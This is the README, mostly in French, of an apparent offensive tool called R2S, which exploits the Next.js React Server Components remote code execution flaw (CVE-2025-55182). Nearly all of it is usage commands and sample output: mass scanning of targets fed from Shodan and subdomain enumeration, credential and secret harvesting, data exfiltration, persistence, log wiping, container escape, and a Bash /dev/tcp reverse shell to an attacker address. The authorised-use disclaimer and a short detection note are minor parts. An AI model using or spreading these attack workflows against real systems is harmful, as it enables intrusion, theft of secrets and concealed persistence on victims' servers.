
R2S is a comprehensive exploitation and post-exploitation framework targeting the Next.js React Server Components vulnerability (CVE-2025-55182). It provides an interactive shell with advanced features for penetration testing, including file transfer, persistence, enumeration, privilege escalation checks, and more.
Framework avancé de post-exploitation pour l'exécution de code à distance (RCE) sur les composants serveur React de Next.js
Fonctionnalités • Installation • Utilisation • Commandes • Exemples
R2S est un framework complet d'exploitation et de post-exploitation ciblant la vulnérabilité des composants serveur React de Next.js (CVE-2025-55182). Il fournit un shell interactif avec des fonctionnalités avancées pour les tests de pénétration, notamment le transfert de fichiers, la persistance, l'énumération, les vérifications d'escalade de privilèges, et bien plus encore.
.env et fichiers de configuration# Python 3.6 ou supérieur
python3 --version
# Installer les dépendances
pip3 install requests urllib3
# Cloner ou télécharger l'outil
cd r2s-main
# Rendre exécutable (optionnel)
chmod +x r2s_enhanced.py
# Exécuter l'outil
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPTIONS]
python3 r2s_enhanced.py -u http://cible.com
python3 r2s_enhanced.py -l cibles.txt -t 50
cat cibles.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d exemple.com | httpx | python3 r2s_enhanced.py
Une fois l'accès RCE obtenu, vous entrerez dans un shell interactif avec ces commandes :
upload <fichier_local> <chemin_distant> # Téléverser un fichier vers la cible
download <fichier_distant> <chemin_local> # Télécharger un fichier depuis la cible
cd <répertoire> # Changer de répertoire de travail
pwd # Afficher le répertoire de travail
enum # Énumération complète du système
privesc # Vérifications d'escalade de privilèges
harvest # Collecte d'identifiants
portscan <ip> # Scanner les ports du réseau interne
memdump [pid] # Extraire la mémoire d'un processus pour les secrets
lateral # Opportunités de mouvement latéral
escape # Vecteurs d'évasion de conteneur
exfil [type] # Exfiltrer des données (env/config/keys/db/logs/all)
reverse <hôte_local> <port_local> # Essayer plusieurs charges utiles de reverse shell
persist # Ajouter une persistance de base
advpersist # Ajouter une persistance avancée
stealth # Effacer les journaux et masquer les traces
save # Sauvegarder la session en cours
help, ? # Afficher l'aide
exit, quit # Quitter le shell interactif
Exécutez n'importe quelle commande shell directement :
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://app-vulnerable.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Outil d'exploitation RSC Next.js (CVE-2025-55182)
Édition Scan de masse et Pipeline (v4.1.0 - Améliorée)
>> CREDIT( G4rxd )
[*] 1 cible chargée. Début du scan avec 30 threads...
[*] Commande de la charge utile : id
[VULN] http://app-vulnerable.com >>> RCE RÉUSSI
Sortie : uid=1000(node) gid=1000(node) groups=1000(node)
[+] Shell interactif RCE avec état démarré. Tapez 'help' pour les commandes.
[*] Fonctionnalités avancées : enum, privesc, persist, portscan, harvest, stealth
[*] Nouvelles fonctionnalités : memdump, lateral, escape, exfil, advpersist, reverse
[+] Serveur HTTP démarré sur 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum
[*] Début de l'énumération automatisée...
============================================================
[*] Informations système
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] Utilisateur actuel
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] Détection de conteneur
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Conteneur Docker détecté]
...
# Téléverser un fichier
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Téléversement de /tmp/exploit.sh (2048 octets) via HTTP...
[+] Téléversement réussi !
-rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh
# Télécharger un fichier
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Téléchargement de /etc/passwd via HTTP...
[+] Téléchargement réussi ! (1523 octets)
Enregistré sous : ./passwd.txt
next-rce:/app$ harvest
[*] Collecte des identifiants...
[*] Variables d'environnement :
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] Fichiers .env :
/app/.env
/app/.env.production
/var/www/.env.local
[*] Clés SSH :
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] Début des tentatives de reverse shell vers 192.168.1.100:4444
[!] Assurez-vous d'avoir un listener en cours : nc -lvnp 4444
[*] Essai de 25 charges utiles différentes...
[1/25] Essai Bash TCP... ✓ Exécuté
[?] Avez-vous reçu une connexion ? (y/n/s pour arrêter) : y
[+] SUCCÈS ! Reverse shell établi avec : Bash TCP
[*] Charge utile : bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat cibles.txt
http://app1.exemple.com
http://app2.exemple.com
http://app3.exemple.com
$ python3 r2s_enhanced.py -l cibles.txt -t 50
[*] 3 cibles chargées. Début du scan avec 50 threads...
[VULN] http://app1.exemple.com >>> RCE RÉUSSI
[VULN] http://app3.exemple.com >>> RCE RÉUSSI
[*] Scan terminé.
next-rce:/app$ privesc
[*] Vérification des vecteurs d'escalade de privilèges...
[*] Binaires SUID :
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] Permissions sudo :
L'utilisateur node peut exécuter les commandes suivantes :
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Socket Docker :
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Groupe Docker :
Dans le groupe docker - EXPLOITABLE !
...
next-rce:/app$ escape
[*] Vérification des vecteurs d'évasion de conteneur...
[*] Type de conteneur :
12:devices:/docker/a1b2c3d4e5f6
[*] Conteneur privilégié :
PRIVILÉGIÉ
[*] Socket Docker :
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Capacités :
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Capacités complètes - le conteneur est privilégié]
...
L'outil inclut plus de 25 charges utiles de reverse shell couvrant plusieurs langages et techniques :
Détecte et extrait automatiquement les identifiants depuis :
Identifie et analyse :
À USAGE ÉDUCATIF ET DE TEST AUTORISÉ UNIQUEMENT
Cet outil est fourni à des fins éducatives et pour les tests de pénétration autorisés uniquement. Toute utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.
Conditions requises pour une utilisation légale :
Détection :
Next-Action inhabituelschild_process.execSync dans les journaux Next.jsAtténuation :
Les contributions sont les bienvenues ! Veuillez vous assurer que toutes les contributions sont à des fins éducatives et de sécurité défensive.
G4rxd
Ce projet est concédé sous licence à des fins éducatives et de test autorisé uniquement.
⚡ Bon hacking éthique ! ⚡
Souvenez-vous : Un grand pouvoir implique de grandes responsabilités.
| Option | Description | Défaut |
|---|
-u, --url | URL cible unique | - |
-l, --list | Fichier contenant une liste d'URL | - |
-c, --cmd | Commande initiale à exécuter | id |
-t, --threads | Nombre de threads de scan | 30 |
-p, --proxy | Proxy HTTP (ex. http://127.0.0.1:8080) | - |
-v, --verbose | Activer la sortie détaillée | False |
--http-port | Port du serveur HTTP pour le transfert de fichiers | 8000 |